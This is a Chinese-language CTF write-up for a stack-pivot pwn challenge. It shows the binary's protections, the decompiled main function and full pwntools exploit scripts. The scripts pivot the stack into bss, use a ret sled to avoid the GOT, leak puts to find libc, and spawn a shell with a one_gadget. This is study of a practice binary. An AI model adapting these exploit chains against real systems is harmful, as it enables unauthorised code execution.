一题栈迁移 但是有涉及到内存越界的问题 记录一下 防止以后踩坑
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
ida打开看一下
int __cdecl main (int argc, const char **argv, const char **envp) { char buf[96 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts (aWelcomeToStack); read(0 , buf, 0x70 uLL); puts ("Done!You can check and use your borrow stack now!" ); read(0 , &bank, 0x100 uLL); return 0 ; }
buf局部变量 bank位于bss段
栈溢出的空间太少了 构造不了rop链 所以是想到把rop写到bank里面 然后栈迁移到对应位置
ps: 这里的逻辑关系得清楚一下 我们平时栈溢出覆盖返回地址 实际上利用main函数这个栈帧结束以后 会返回到父函数 覆盖了返回地址 所以哪怕我们先覆盖了返回地址 但是接下来程序并没有立刻结束 所以并不会影响我们修改bank的内容
此时exp:
from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *def libcmath (function_addr,function_name ): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) print (hex (libc_addr)) return system_addr,binsh_addr def csu (offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr ): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(ret_addr) return payload def localconnect (filename ): io = process(filename) return io def remoteconnect (ip,port ): io = remote(ip,port) return io def elf_libc (filename,libc_name ): elf = ELF(filename) libc = ELF(libc_name) return elf,libc def debug (button ): if (button==1 ): context.log_level = "debug" filename = 'pwn' libc_name = 'buu_libc_ubuntu16_64' ip="node4.buuoj.cn" port=28099 elf,libc = elf_libc(filename,libc_name) main_addr = elf.sym['main' ] io = process("./pwn" ) debug(1 ) io.recvuntil("Welcome to Stack bank,Tell me what you want" ) bss_addr = 0x601080 leave_addr = 0x400699 puts_plt = 0x4004e0 rdi_addr = 0x400703 ret_addr = 0x4004c9 puts_got = elf.got['puts' ] read_got = elf.got['read' ] payload = cyclic(0x60 )+p64(bss_addr-0x8 )+p64(leave_addr) io.send(payload) io.recvuntil("Done!You can check and use your borrow stack now!" ) payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload)
但是发现行不通 gdb动调了一下发现 好像跳转到了奇怪的地方
看了一下地址 好像是跑到了bss段上面的got表了 那有没有什么办法可以抬高栈(往低地址处抬高) 我们想到了ret指令 刚好可以读入0x100字节的数据在bank里面
payload = p64(ret_addr)*20 +p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
接着就可以成功泄露puts的真实地址了
接下来两个办法 既然只能刚好覆盖到ret addr 那就直接覆盖成onegadget 因为libc基址已经知道了
或者重复上面的操作 按照常规的system进行系统调用 不过尝试了一下发现不行 也不清楚是什么原因
完整exp:
from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *def libcmath (function_addr,function_name ): libc_addr = function_addr - libc.sym[function_name] system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) print (hex (libc_addr)) return system_addr,binsh_addr def csu (offset,gadget2_addr,call_addr,rdx,rsi,rdi,gadget1_addr,ret_addr ): payload = cyclic(offset) payload += p64(gadget2_addr) payload += cyclic(0x8 ) payload += p64(0 ) payload += p64(1 ) payload += p64(call_addr) payload += p64(rdx) payload += p64(rsi) payload += p64(rdi) payload += p64(gadget1_addr) payload += cyclic(56 ) payload += p64(ret_addr) return payload def localconnect (filename ): io = process(filename) return io def remoteconnect (ip,port ): io = remote(ip,port) return io def elf_libc (filename,libc_name ): elf = ELF(filename) libc = ELF(libc_name) return elf,libc def debug (button ): if (button==1 ): context.log_level = "debug" filename = 'pwn' libc_name = 'buu_libc_ubuntu16_64' ip="node4.buuoj.cn" port=28099 elf,libc = elf_libc(filename,libc_name) main_addr = elf.sym['main' ] io = process("./pwn" ) debug(1 ) io.recvuntil("Welcome to Stack bank,Tell me what you want" ) bss_addr = 0x601080 leave_addr = 0x400699 puts_plt = 0x4004e0 rdi_addr = 0x400703 ret_addr = 0x4004c9 puts_got = elf.got['puts' ] read_got = elf.got['read' ] payload = cyclic(0x60 )+p64(bss_addr-0x8 )+p64(leave_addr) io.send(payload) io.recvuntil("Done!You can check and use your borrow stack now!" ) payload = p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) gdb.attach(io) io.sendline(payload) io.recv() puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b"\x00" )) libc_addr = puts_addr - libc.sym['puts' ] onegadget_addr = libc_addr+0x4526a io.recvuntil("Welcome to Stack bank,Tell me what you want" ) payload = cyclic(0x68 )+p64(onegadget_addr) io.sendline(payload) io.interactive()